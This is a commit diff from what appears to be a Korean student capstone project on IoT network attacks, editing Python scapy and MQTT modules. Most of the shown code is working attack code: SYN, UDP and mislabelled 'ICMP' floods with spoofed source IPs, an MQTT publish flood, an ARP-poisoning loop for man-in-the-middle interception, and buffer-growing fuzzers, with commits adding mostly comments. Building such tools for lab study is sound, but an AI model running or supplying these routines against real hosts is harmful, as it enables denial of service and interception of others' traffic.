Showing
17 changed files
with
52 additions
and
18 deletions
No preview for this file type
No preview for this file type
No preview for this file type
No preview for this file type
No preview for this file type
1 | from scapy.all import IP, TCP, send, RandShort | 1 | from scapy.all import IP, TCP, send, RandShort |
2 | 2 | ||
3 | def icmp_flood(targetIP, targetPORT): | 3 | def icmp_flood(targetIP, targetPORT): |
4 | - packet = IP(dst=targetIP) / TCP( | 4 | + packet = IP(dst=targetIP)/TCP(dport=targetPORT, flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort()) |
5 | - dport=targetPORT, flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort() | 5 | + # 출발지 포트는 random |
6 | - ) | 6 | + for _ in range(4): |
7 | - | ||
8 | - for i in range(4): | ||
9 | try: | 7 | try: |
10 | send(packet, verbose=False) | 8 | send(packet, verbose=False) |
11 | except Exception as e: | 9 | except Exception as e: |
12 | print(f"Error while sending 'ICMP'\n{e}") | 10 | print(f"Error while sending 'ICMP'\n{e}") |
13 | else: | 11 | else: |
14 | print(f"ICMP packet send to {targetIP}") | 12 | print(f"ICMP packet send to {targetIP}") |
13 | + | ||
14 | + | ... | ... |
... | @@ -13,9 +13,13 @@ def mqtt_publish_flood(mqtt_server_IP, mqtt_server_PORT, topic): | ... | @@ -13,9 +13,13 @@ def mqtt_publish_flood(mqtt_server_IP, mqtt_server_PORT, topic): |
13 | client.connect(mqtt_server_IP, mqtt_server_PORT) | 13 | client.connect(mqtt_server_IP, mqtt_server_PORT) |
14 | client.loop_start() | 14 | client.loop_start() |
15 | 15 | ||
16 | - for i in range(10000): | 16 | + for _ in range(10000): |
17 | + # 무작위 메세지 생성 | ||
17 | message = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(50)) | 18 | message = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(50)) |
18 | - client.publish(topic, message, retain=True) | 19 | + client.publish(topic, message, retain=True) # 발행 |
19 | print(f"Sent message {message}") | 20 | print(f"Sent message {message}") |
20 | client.loop_stop() | 21 | client.loop_stop() |
21 | client.disconnect() | 22 | client.disconnect() |
23 | + | ||
24 | + | ||
25 | + | ... | ... |
1 | import random | 1 | import random |
2 | from scapy.all import IP, TCP, send | 2 | from scapy.all import IP, TCP, send |
3 | 3 | ||
4 | +# 무작위 IP 생성 | ||
4 | def random_IP(): | 5 | def random_IP(): |
5 | ip = [] | 6 | ip = [] |
6 | for _ in range(0, 4): | 7 | for _ in range(0, 4): |
... | @@ -9,10 +10,10 @@ def random_IP(): | ... | @@ -9,10 +10,10 @@ def random_IP(): |
9 | 10 | ||
10 | def syn_flood(targetIP, targetPORT): | 11 | def syn_flood(targetIP, targetPORT): |
11 | IP_Packet = IP() | 12 | IP_Packet = IP() |
12 | - IP_Packet.src = random_IP() | 13 | + IP_Packet.src = random_IP() # IP Spoofing |
13 | IP_Packet.dst = targetIP | 14 | IP_Packet.dst = targetIP |
14 | 15 | ||
15 | - TCP_Packet = TCP() | 16 | + TCP_Packet = TCP() # SYN은 TCP 헤더의 플래그 비트이므로 |
16 | TCP_Packet.sport = random.randint(1000, 10000) | 17 | TCP_Packet.sport = random.randint(1000, 10000) |
17 | TCP_Packet.dport = targetPORT | 18 | TCP_Packet.dport = targetPORT |
18 | TCP_Packet.flags = "S" | 19 | TCP_Packet.flags = "S" |
... | @@ -26,3 +27,19 @@ def syn_flood(targetIP, targetPORT): | ... | @@ -26,3 +27,19 @@ def syn_flood(targetIP, targetPORT): |
26 | print(f"Error while sending SYN packet\n{e}") | 27 | print(f"Error while sending SYN packet\n{e}") |
27 | else: | 28 | else: |
28 | print(f"SYN packet sent to {'{}:{}'.format(targetIP, targetPORT)}.") | 29 | print(f"SYN packet sent to {'{}:{}'.format(targetIP, targetPORT)}.") |
30 | + | ||
31 | + | ||
32 | +""" | ||
33 | + | ||
34 | +flags = { | ||
35 | + 'F': 'FIN', | ||
36 | + 'S': 'SYN', | ||
37 | + 'R': 'RST', | ||
38 | + 'P': 'PSH', | ||
39 | + 'A': 'ACK', | ||
40 | + 'U': 'URG', | ||
41 | + 'E': 'ECE', | ||
42 | + 'C': 'CWR', | ||
43 | +} | ||
44 | + | ||
45 | +""" | ||
... | \ No newline at end of file | ... | \ No newline at end of file | ... | ... |
... | @@ -12,3 +12,5 @@ def udp_flood(targetIP, targetPORT): | ... | @@ -12,3 +12,5 @@ def udp_flood(targetIP, targetPORT): |
12 | print(f"Error while sending UDP packet\n{e}") | 12 | print(f"Error while sending UDP packet\n{e}") |
13 | else: | 13 | else: |
14 | print(f"UDP random packet sent! Payload size: {len(payload)}. ") | 14 | print(f"UDP random packet sent! Payload size: {len(payload)}. ") |
15 | + | ||
16 | + | ... | ... |
No preview for this file type
... | @@ -4,15 +4,18 @@ import sys | ... | @@ -4,15 +4,18 @@ import sys |
4 | import signal | 4 | import signal |
5 | 5 | ||
6 | def originalMAC(ip): | 6 | def originalMAC(ip): |
7 | + # ARP Ping method | ||
7 | ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3) | 8 | ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3) |
8 | - for s,r in ans: | 9 | + # answer, unanswered |
10 | + | ||
11 | + for s,r in ans: #sent, received | ||
9 | return r[Ether].src | 12 | return r[Ether].src |
10 | 13 | ||
11 | -def poison(routerIP, targetIP, routerMAC, targetMAC): | 14 | +def poison(routerIP, targetIP, routerMAC, targetMAC): # APR를 spoof |
12 | send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC)) | 15 | send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC)) |
13 | send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC)) | 16 | send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC)) |
14 | 17 | ||
15 | -def restore(routerIP, targetIP, routerMAC, targetMAC): | 18 | +def restore(routerIP, targetIP, routerMAC, targetMAC): #다시 정상패킷 보내서 되돌리기 |
16 | send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3) | 19 | send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3) |
17 | send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3) | 20 | send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3) |
18 | 21 | ||
... | @@ -31,3 +34,5 @@ def arp_spoofing(routerIP, targetIP): | ... | @@ -31,3 +34,5 @@ def arp_spoofing(routerIP, targetIP): |
31 | 34 | ||
32 | while 1: | 35 | while 1: |
33 | poison(routerIP, targetIP, routerMAC, targetMAC) | 36 | poison(routerIP, targetIP, routerMAC, targetMAC) |
37 | + | ||
38 | + | ... | ... |
No preview for this file type
No preview for this file type
... | @@ -13,7 +13,7 @@ def fuzzy_attack(method, targetIP, targetPORT): | ... | @@ -13,7 +13,7 @@ def fuzzy_attack(method, targetIP, targetPORT): |
13 | sock.close() | 13 | sock.close() |
14 | 14 | ||
15 | elif method == "tcp": | 15 | elif method == "tcp": |
16 | - sock = socket.socket() | 16 | + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
17 | sock.connect((targetIP, targetPORT)) | 17 | sock.connect((targetIP, targetPORT)) |
18 | for x in range(4, 100000, 4): | 18 | for x in range(4, 100000, 4): |
19 | message = command + b"A" * x | 19 | message = command + b"A" * x |
... | @@ -22,3 +22,6 @@ def fuzzy_attack(method, targetIP, targetPORT): | ... | @@ -22,3 +22,6 @@ def fuzzy_attack(method, targetIP, targetPORT): |
22 | resp = sock.recv(4096) | 22 | resp = sock.recv(4096) |
23 | print("Response Received:", resp) | 23 | print("Response Received:", resp) |
24 | sock.close() | 24 | sock.close() |
25 | + | ||
26 | + | ||
27 | + | ||
... | \ No newline at end of file | ... | \ No newline at end of file | ... | ... |
... | @@ -17,5 +17,8 @@ def mqtt_ramdom_payload_fuzzy(mqtt_server_IP, mqtt_server_PORT, topic): | ... | @@ -17,5 +17,8 @@ def mqtt_ramdom_payload_fuzzy(mqtt_server_IP, mqtt_server_PORT, topic): |
17 | payload = "".join([chr(random.randint(1, 127)) for _ in range(i)]) | 17 | payload = "".join([chr(random.randint(1, 127)) for _ in range(i)]) |
18 | print(f"Sent Payload {len(payload)} bytes") | 18 | print(f"Sent Payload {len(payload)} bytes") |
19 | client.publish(topic, payload) | 19 | client.publish(topic, payload) |
20 | + | ||
20 | client.loop_stop() | 21 | client.loop_stop() |
21 | client.disconnect() | 22 | client.disconnect() |
23 | + | ||
24 | + | ... | ... |
1 | -from dos.icmp import * | 1 | +from DoS.icmp import * |
2 | -from dos.mqtt import * | 2 | +from DoS.mqtt import * |
3 | -from dos.syn import * | 3 | +from DoS.syn import * |
4 | -from dos.udp import * | 4 | +from DoS.udp import * |
5 | from fuzzy_attack.fuzzy_attack import * | 5 | from fuzzy_attack.fuzzy_attack import * |
6 | from fuzzy_attack.mqtt_random_payload_fuzzy import * | 6 | from fuzzy_attack.mqtt_random_payload_fuzzy import * |
7 | -from spoofing.arp import * | 7 | +from Spoofing.arp import * |
8 | 8 | ||
9 | def printDOSMenu(): | 9 | def printDOSMenu(): |
10 | print("Choose Protocol") | 10 | print("Choose Protocol") | ... | ... |
Docs/캡스톤디자인2 면담확인서_1006.pdf
0 → 100644
No preview for this file type
-
Please register or login to post a comment